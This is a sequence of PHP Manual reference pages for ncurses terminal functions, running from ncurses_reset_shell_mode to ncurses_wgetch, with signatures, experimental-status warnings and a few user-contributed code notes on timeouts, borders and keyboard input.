There are no user contributed notes for this page.


Resets the shell mode saved by def_shell_mode

  • « ncurses_reset_prog_mode
  • ncurses_resetty »
  • PHP Manual
  • Ncurses Functions
  • Resets the shell mode saved by def_shell_mode

ncurses_reset_shell_mode

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_reset_shell_mode — Resets the shell mode saved by def_shell_mode

Description

int ncurses_reset_shell_mode ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Restores saved terminal state

  • « ncurses_reset_shell_mode
  • ncurses_savetty »
  • PHP Manual
  • Ncurses Functions
  • Restores saved terminal state

ncurses_resetty

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_resetty — Restores saved terminal state

Description

bool ncurses_resetty ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Restores the terminal state, which was previously saved by calling ncurses_savetty().

Return Values

Always returns FALSE.

See Also

  • ncurses_savetty() - Saves terminal state

User Contributed Notes

There are no user contributed notes for this page.


Saves terminal state

  • « ncurses_resetty
  • ncurses_scr_dump »
  • PHP Manual
  • Ncurses Functions
  • Saves terminal state

ncurses_savetty

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_savetty — Saves terminal state

Description

bool ncurses_savetty ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Saves the current terminal state. The saved terminal state can be restored with ncurses_resetty().

Return Values

Always returns FALSE.

See Also

  • ncurses_resetty() - Restores saved terminal state

User Contributed Notes

There are no user contributed notes for this page.


Dump screen content to file

  • « ncurses_savetty
  • ncurses_scr_init »
  • PHP Manual
  • Ncurses Functions
  • Dump screen content to file

ncurses_scr_dump

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scr_dump — Dump screen content to file

Description

int ncurses_scr_dump ( string $filename )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

filename

User Contributed Notes

There are no user contributed notes for this page.


Initialize screen from file dump

  • « ncurses_scr_dump
  • ncurses_scr_restore »
  • PHP Manual
  • Ncurses Functions
  • Initialize screen from file dump

ncurses_scr_init

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scr_init — Initialize screen from file dump

Description

int ncurses_scr_init ( string $filename )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

filename

User Contributed Notes

There are no user contributed notes for this page.


Restore screen from file dump

  • « ncurses_scr_init
  • ncurses_scr_set »
  • PHP Manual
  • Ncurses Functions
  • Restore screen from file dump

ncurses_scr_restore

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scr_restore — Restore screen from file dump

Description

int ncurses_scr_restore ( string $filename )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

filename

User Contributed Notes

There are no user contributed notes for this page.


Inherit screen from file dump

  • « ncurses_scr_restore
  • ncurses_scrl »
  • PHP Manual
  • Ncurses Functions
  • Inherit screen from file dump

ncurses_scr_set

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scr_set — Inherit screen from file dump

Description

int ncurses_scr_set ( string $filename )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

filename

User Contributed Notes

There are no user contributed notes for this page.


Scroll window content up or down without changing current position

  • « ncurses_scr_set
  • ncurses_show_panel »
  • PHP Manual
  • Ncurses Functions
  • Scroll window content up or down without changing current position

ncurses_scrl

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_scrl — Scroll window content up or down without changing current position

Description

int ncurses_scrl ( int $count )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

count

User Contributed Notes

There are no user contributed notes for this page.


Places an invisible panel on top of the stack, making it visible

  • « ncurses_scrl
  • ncurses_slk_attr »
  • PHP Manual
  • Ncurses Functions
  • Places an invisible panel on top of the stack, making it visible

ncurses_show_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_show_panel — Places an invisible panel on top of the stack, making it visible

Description

int ncurses_show_panel ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

User Contributed Notes

There are no user contributed notes for this page.


Returns current soft label key attribute

  • « ncurses_show_panel
  • ncurses_slk_attroff »
  • PHP Manual
  • Ncurses Functions
  • Returns current soft label key attribute

ncurses_slk_attr

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_attr — Returns current soft label key attribute

Description

int ncurses_slk_attr ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the current soft label key attribute.

Return Values

The attribute, as an integer.

User Contributed Notes

There are no user contributed notes for this page.


Turn off the given attributes for soft function-key labels

  • « ncurses_slk_attr
  • ncurses_slk_attron »
  • PHP Manual
  • Ncurses Functions
  • Turn off the given attributes for soft function-key labels

ncurses_slk_attroff

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_attroff — Turn off the given attributes for soft function-key labels

Description

int ncurses_slk_attroff ( int $intarg )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

intarg

User Contributed Notes

There are no user contributed notes for this page.


Turn on the given attributes for soft function-key labels

  • « ncurses_slk_attroff
  • ncurses_slk_attrset »
  • PHP Manual
  • Ncurses Functions
  • Turn on the given attributes for soft function-key labels

ncurses_slk_attron

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_attron — Turn on the given attributes for soft function-key labels

Description

int ncurses_slk_attron ( int $intarg )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

intarg

User Contributed Notes

There are no user contributed notes for this page.


Set given attributes for soft function-key labels

  • « ncurses_slk_attron
  • ncurses_slk_clear »
  • PHP Manual
  • Ncurses Functions
  • Set given attributes for soft function-key labels

ncurses_slk_attrset

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_attrset — Set given attributes for soft function-key labels

Description

int ncurses_slk_attrset ( int $intarg )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

intarg

User Contributed Notes

There are no user contributed notes for this page.


Clears soft labels from screen

  • « ncurses_slk_attrset
  • ncurses_slk_color »
  • PHP Manual
  • Ncurses Functions
  • Clears soft labels from screen

ncurses_slk_clear

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_clear — Clears soft labels from screen

Description

bool ncurses_slk_clear ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

The function ncurses_slk_clear() clears soft label keys from screen.

Return Values

Returns TRUE on errors, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Sets color for soft label keys

  • « ncurses_slk_clear
  • ncurses_slk_init »
  • PHP Manual
  • Ncurses Functions
  • Sets color for soft label keys

ncurses_slk_color

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_color — Sets color for soft label keys

Description

int ncurses_slk_color ( int $intarg )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

intarg

User Contributed Notes

There are no user contributed notes for this page.


Initializes soft label key functions

  • « ncurses_slk_color
  • ncurses_slk_noutrefresh »
  • PHP Manual
  • Ncurses Functions
  • Initializes soft label key functions

ncurses_slk_init

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_init — Initializes soft label key functions

Description

bool ncurses_slk_init ( int $format )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Initializes soft label key functions

This function must be called before ncurses_init() or ncurses_newwin() is called.

Parameters

format

If ncurses_init() eventually uses a line from stdscr to emulate the soft labels, then this parameter determines how the labels are arranged of the screen.

0 indicates a 3-2-3 arrangement of the labels, 1 indicates a 4-4 arrangement and 2 indicates the PC like 4-4-4 mode, but in addition an index line will be created.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Copies soft label keys to virtual screen

  • « ncurses_slk_init
  • ncurses_slk_refresh »
  • PHP Manual
  • Ncurses Functions
  • Copies soft label keys to virtual screen

ncurses_slk_noutrefresh

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_noutrefresh — Copies soft label keys to virtual screen

Description

bool ncurses_slk_noutrefresh ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Copies soft label keys to screen

  • « ncurses_slk_noutrefresh
  • ncurses_slk_restore »
  • PHP Manual
  • Ncurses Functions
  • Copies soft label keys to screen

ncurses_slk_refresh

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_refresh — Copies soft label keys to screen

Description

int ncurses_slk_refresh ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Copies soft label keys from virtual screen to physical screen.

User Contributed Notes

There are no user contributed notes for this page.


Restores soft label keys

  • « ncurses_slk_refresh
  • ncurses_slk_set »
  • PHP Manual
  • Ncurses Functions
  • Restores soft label keys

ncurses_slk_restore

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_restore — Restores soft label keys

Description

int ncurses_slk_restore ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Restores the soft label keys after ncurses_slk_clear() has been performed.

User Contributed Notes

There are no user contributed notes for this page.


Sets function key labels

  • « ncurses_slk_restore
  • ncurses_slk_touch »
  • PHP Manual
  • Ncurses Functions
  • Sets function key labels

ncurses_slk_set

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_set — Sets function key labels

Description

bool ncurses_slk_set ( int $labelnr , string $label , int $format )
Warning

This function is currently not documented; only its argument list is available.

Parameters

labelnr

label

format

User Contributed Notes

There are no user contributed notes for this page.


Forces output when ncurses_slk_noutrefresh is performed

  • « ncurses_slk_set
  • ncurses_standend »
  • PHP Manual
  • Ncurses Functions
  • Forces output when ncurses_slk_noutrefresh is performed

ncurses_slk_touch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_slk_touch — Forces output when ncurses_slk_noutrefresh is performed

Description

int ncurses_slk_touch ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Forces all the soft labels to be output the next time a ncurses_slk_noutrefresh() is performed.

User Contributed Notes

There are no user contributed notes for this page.


Stop using 'standout' attribute

  • « ncurses_slk_touch
  • ncurses_standout »
  • PHP Manual
  • Ncurses Functions
  • Stop using 'standout' attribute

ncurses_standend

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_standend — Stop using 'standout' attribute

Description

int ncurses_standend ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Start using 'standout' attribute

  • « ncurses_standend
  • ncurses_start_color »
  • PHP Manual
  • Ncurses Functions
  • Start using 'standout' attribute

ncurses_standout

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_standout — Start using 'standout' attribute

Description

int ncurses_standout ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Initializes color functionality

  • « ncurses_standout
  • ncurses_termattrs »
  • PHP Manual
  • Ncurses Functions
  • Initializes color functionality

ncurses_start_color

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_start_color — Initializes color functionality

Description

int ncurses_start_color ( void )

Initializes color functionality in ncurses. This function must be called before any color manipulation functions are called and after ncurses_init() is called. It is good practice to call this function right after ncurses_init().

Parameters

This function has no parameters.

Return Values

Returns 0 on success, or -1 if the color table could not be allocated or ncurses was not initialized.

Examples

Example #1 Writing a string with a specified color to the screen

<?php
ncurses_init();

// If the terminal supports colors, initialize and set active color
if (ncurses_has_colors()) {
    ncurses_start_color();
    ncurses_init_pair(1, NCURSES_COLOR_YELLOW, NCURSES_COLOR_BLUE);
    ncurses_color_set(1);
}

// Write a string at specified location
ncurses_mvaddstr(10, 10, "Hello world! Yellow on blue text!");

// Flush output to screen
ncurses_refresh();

ncurses_end();
?>

See Also

  • ncurses_can_change_color() - Checks if terminal color definitions can be changed
  • ncurses_has_colors() - Checks if terminal has color capabilities

User Contributed Notes

There are no user contributed notes for this page.


Returns a logical OR of all attribute flags supported by terminal

  • « ncurses_start_color
  • ncurses_termname »
  • PHP Manual
  • Ncurses Functions
  • Returns a logical OR of all attribute flags supported by terminal

ncurses_termattrs

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_termattrs — Returns a logical OR of all attribute flags supported by terminal

Description

bool ncurses_termattrs ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Returns terminals (short)-name

  • « ncurses_termattrs
  • ncurses_timeout »
  • PHP Manual
  • Ncurses Functions
  • Returns terminals (short)-name

ncurses_termname

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_termname — Returns terminals (short)-name

Description

string ncurses_termname ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns terminals shortname.

Return Values

Returns the shortname of the terminal, truncated to 14 characters. On errors, returns NULL.

See Also

  • ncurses_longname() - Returns terminals description

User Contributed Notes

There are no user contributed notes for this page.


Set timeout for special key sequences

  • « ncurses_termname
  • ncurses_top_panel »
  • PHP Manual
  • Ncurses Functions
  • Set timeout for special key sequences

ncurses_timeout

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_timeout — Set timeout for special key sequences

Description

void ncurses_timeout ( int $millisec )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

millisec

User Contributed Notes

sandwyrm 14-Nov-2010 09:03
ncurses_timeout( $value );

$value < 0 -> Block and wait for input indefinitely
$value = 0 -> Non-blocking poll for input
$value > 0 -> Block and wait for input for $value milliseconds


Moves a visible panel to the top of the stack

  • « ncurses_timeout
  • ncurses_typeahead »
  • PHP Manual
  • Ncurses Functions
  • Moves a visible panel to the top of the stack

ncurses_top_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_top_panel — Moves a visible panel to the top of the stack

Description

int ncurses_top_panel ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

User Contributed Notes

There are no user contributed notes for this page.


Specify different filedescriptor for typeahead checking

  • « ncurses_top_panel
  • ncurses_ungetch »
  • PHP Manual
  • Ncurses Functions
  • Specify different filedescriptor for typeahead checking

ncurses_typeahead

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_typeahead — Specify different filedescriptor for typeahead checking

Description

int ncurses_typeahead ( int $fd )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

fd

User Contributed Notes

There are no user contributed notes for this page.


Put a character back into the input stream

  • « ncurses_typeahead
  • ncurses_ungetmouse »
  • PHP Manual
  • Ncurses Functions
  • Put a character back into the input stream

ncurses_ungetch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_ungetch — Put a character back into the input stream

Description

int ncurses_ungetch ( int $keycode )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

keycode

User Contributed Notes

There are no user contributed notes for this page.


Pushes mouse event to queue

  • « ncurses_ungetch
  • ncurses_update_panels »
  • PHP Manual
  • Ncurses Functions
  • Pushes mouse event to queue

ncurses_ungetmouse

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_ungetmouse — Pushes mouse event to queue

Description

bool ncurses_ungetmouse ( array $mevent )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Pushes a KEY_MOUSE event onto the unput queue and associates with this event the given state sata and screen-relative character cell coordinates, specified in mevent.

Parameters

mevent

An associative array specifying the event options:

  • "id" : Id to distinguish multiple devices

  • "x" : screen relative x-position in character cells

  • "y" : screen relative y-position in character cells

  • "z" : currently not supported

  • "mmask" : Mouse action

Return Values

Returns FALSE on success, TRUE otherwise.

See Also

  • ncurses_getmouse() - Reads mouse event

User Contributed Notes

There are no user contributed notes for this page.


Refreshes the virtual screen to reflect the relations between panels in the stack

  • « ncurses_ungetmouse
  • ncurses_use_default_colors »
  • PHP Manual
  • Ncurses Functions
  • Refreshes the virtual screen to reflect the relations between panels in the stack

ncurses_update_panels

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_update_panels — Refreshes the virtual screen to reflect the relations between panels in the stack

Description

void ncurses_update_panels ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Assign terminal default colors to color id -1

  • « ncurses_update_panels
  • ncurses_use_env »
  • PHP Manual
  • Ncurses Functions
  • Assign terminal default colors to color id -1

ncurses_use_default_colors

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_use_default_colors — Assign terminal default colors to color id -1

Description

bool ncurses_use_default_colors ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Control use of environment information about terminal size

  • « ncurses_use_default_colors
  • ncurses_use_extended_names »
  • PHP Manual
  • Ncurses Functions
  • Control use of environment information about terminal size

ncurses_use_env

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_use_env — Control use of environment information about terminal size

Description

void ncurses_use_env ( bool $flag )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

flag

User Contributed Notes

There are no user contributed notes for this page.


Control use of extended names in terminfo descriptions

  • « ncurses_use_env
  • ncurses_vidattr »
  • PHP Manual
  • Ncurses Functions
  • Control use of extended names in terminfo descriptions

ncurses_use_extended_names

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_use_extended_names — Control use of extended names in terminfo descriptions

Description

int ncurses_use_extended_names ( bool $flag )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

flag

User Contributed Notes

There are no user contributed notes for this page.


Display the string on the terminal in the video attribute mode

  • « ncurses_use_extended_names
  • ncurses_vline »
  • PHP Manual
  • Ncurses Functions
  • Display the string on the terminal in the video attribute mode

ncurses_vidattr

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_vidattr — Display the string on the terminal in the video attribute mode

Description

int ncurses_vidattr ( int $intarg )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

intarg

User Contributed Notes

There are no user contributed notes for this page.


Draw a vertical line at current position using an attributed character and max. n characters long

  • « ncurses_vidattr
  • ncurses_waddch »
  • PHP Manual
  • Ncurses Functions
  • Draw a vertical line at current position using an attributed character and max. n characters long

ncurses_vline

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_vline — Draw a vertical line at current position using an attributed character and max. n characters long

Description

int ncurses_vline ( int $charattr , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

charattr

n

User Contributed Notes

There are no user contributed notes for this page.


Adds character at current position in a window and advance cursor

  • « ncurses_vline
  • ncurses_waddstr »
  • PHP Manual
  • Ncurses Functions
  • Adds character at current position in a window and advance cursor

ncurses_waddch

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_waddch — Adds character at current position in a window and advance cursor

Description

int ncurses_waddch ( resource $window , int $ch )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

ch

User Contributed Notes

There are no user contributed notes for this page.


Outputs text at current postion in window

  • « ncurses_waddch
  • ncurses_wattroff »
  • PHP Manual
  • Ncurses Functions
  • Outputs text at current postion in window

ncurses_waddstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_waddstr — Outputs text at current postion in window

Description

int ncurses_waddstr ( resource $window , string $str [, int $n ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

str

n

User Contributed Notes

There are no user contributed notes for this page.


Turns off attributes for a window

  • « ncurses_waddstr
  • ncurses_wattron »
  • PHP Manual
  • Ncurses Functions
  • Turns off attributes for a window

ncurses_wattroff

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wattroff — Turns off attributes for a window

Description

int ncurses_wattroff ( resource $window , int $attrs )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

attrs

User Contributed Notes

There are no user contributed notes for this page.


Turns on attributes for a window

  • « ncurses_wattroff
  • ncurses_wattrset »
  • PHP Manual
  • Ncurses Functions
  • Turns on attributes for a window

ncurses_wattron

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wattron — Turns on attributes for a window

Description

int ncurses_wattron ( resource $window , int $attrs )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

attrs

User Contributed Notes

There are no user contributed notes for this page.


Set the attributes for a window

  • « ncurses_wattron
  • ncurses_wborder »
  • PHP Manual
  • Ncurses Functions
  • Set the attributes for a window

ncurses_wattrset

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wattrset — Set the attributes for a window

Description

int ncurses_wattrset ( resource $window , int $attrs )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

attrs

User Contributed Notes

There are no user contributed notes for this page.


Draws a border around the window using attributed characters

  • « ncurses_wattrset
  • ncurses_wclear »
  • PHP Manual
  • Ncurses Functions
  • Draws a border around the window using attributed characters

ncurses_wborder

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wborder — Draws a border around the window using attributed characters

Description

int ncurses_wborder ( resource $window , int $left , int $right , int $top , int $bottom , int $tl_corner , int $tr_corner , int $bl_corner , int $br_corner )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Draws the specified lines and corners around the passed window.

Use ncurses_border() for borders around the main window.

Parameters

Each parameter expects 0 to draw a line and 1 to skip it.

window

The window on which we operate

left

right

top

bottom

tl_corner

Top left corner

tr_corner

Top right corner

bl_corner

Bottom left corner

br_corner

Bottom right corner

See Also

  • ncurses_border() - Draw a border around the screen using attributed characters

User Contributed Notes

kermodebear (at) gmail dot com 19-Feb-2009 07:40
Note that this function is looking for the ordinal value of a character - you must pass integers, not actual characters.

For the sake of 'ease of use', I use this in my ncurses Window class:

<?php
public function border($left = '|', $top = '-', $right = '|', $bottom = '-', $tlCorner = '+', $trCorner = '+', $brCorner = '+', $blCorner = '+')
{
    ncurses_wborder($this->window, ord($left), ord($right), ord($top), ord($bottom), ord($tlCorner), ord($trCorner), ord($blCorner), ord($brCorner));
}
?>

This allows you to do something like the following:
<?php
// Border the window with some weird stuff.
$window->border('.', '~', 'l', '$');
?>


Clears window

  • « ncurses_wborder
  • ncurses_wcolor_set »
  • PHP Manual
  • Ncurses Functions
  • Clears window

ncurses_wclear

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wclear — Clears window

Description

int ncurses_wclear ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

There are no user contributed notes for this page.


Sets windows color pairings

  • « ncurses_wclear
  • ncurses_werase »
  • PHP Manual
  • Ncurses Functions
  • Sets windows color pairings

ncurses_wcolor_set

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wcolor_set — Sets windows color pairings

Description

int ncurses_wcolor_set ( resource $window , int $color_pair )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

color_pair

User Contributed Notes

There are no user contributed notes for this page.


Erase window contents

  • « ncurses_wcolor_set
  • ncurses_wgetch »
  • PHP Manual
  • Ncurses Functions
  • Erase window contents

ncurses_werase

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_werase — Erase window contents

Description

int ncurses_werase ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

There are no user contributed notes for this page.


Reads a character from keyboard (window)

  • « ncurses_werase
  • ncurses_whline »
  • PHP Manual
  • Ncurses Functions
  • Reads a character from keyboard (window)

ncurses_wgetch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wgetch — Reads a character from keyboard (window)

Description

int ncurses_wgetch ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

johns at servangle dot net 07-Jan-2007 05:01
Something worth noting here; I noticed that with ncurses_wgetch function keys are broken into multiple codes while ncurses_getch returns only one attributed code.

For example, with ncurses_wgetch pressing an up arrow results in three codes 27 91 65 (an ascii escape sequence). The problem is subsequent calls to ncurses_wgetch are required to acquire all three codes. Unfortunately, pressing an “A” key for example would result in only a single code of 65. This makes it hard to trap for both function keys and regular keys.

However, with ncurses_getch an up arrow results in a single attributed code of 259 or the “NCURSES_KEY_UP” key constant. An “A” key is still 65.
john at bowlingball dot com 22-Feb-2006 05:19
By default ncurses_wgetch does not return keypad keys.  If you need to use function or arrow keys in a sub window, simply do this first.

ncurses_keypad($win, TRUE);
gf3 dot bm3 at gmail dot com 09-Oct-2004 01:41
Heres a function to get a string from a specific window and return it on ENTER.

// Dynamic String Input (converts INT ASCII to CHAR)
function ncurses_wgetstr($win){
    $strlen = 1;
    for ($sx=0;$sx<$strlen;$sx++){
        $strlen++;
        $ch = ncurses_wgetch($win);
        if ($ch == 13){
            return $str;
            break 2;
        }
        $str .= chr($ch);
    }
}

Example:

$ncurse = ncurses_init();
$fullscreen = ncurses_newwin (0,0,  0,0);
ncurses_border(0,0,  0,0,  0,0,  0,0);
ncurses_refresh();

while (1){
    $keyPressed = ncurses_wgetstr($fullscreen);
    ncurses_wrefresh($fullscreen);
}


Draws a horizontal line in a window at current position using an attributed character and max. n characters long

  • « ncurses_wgetch
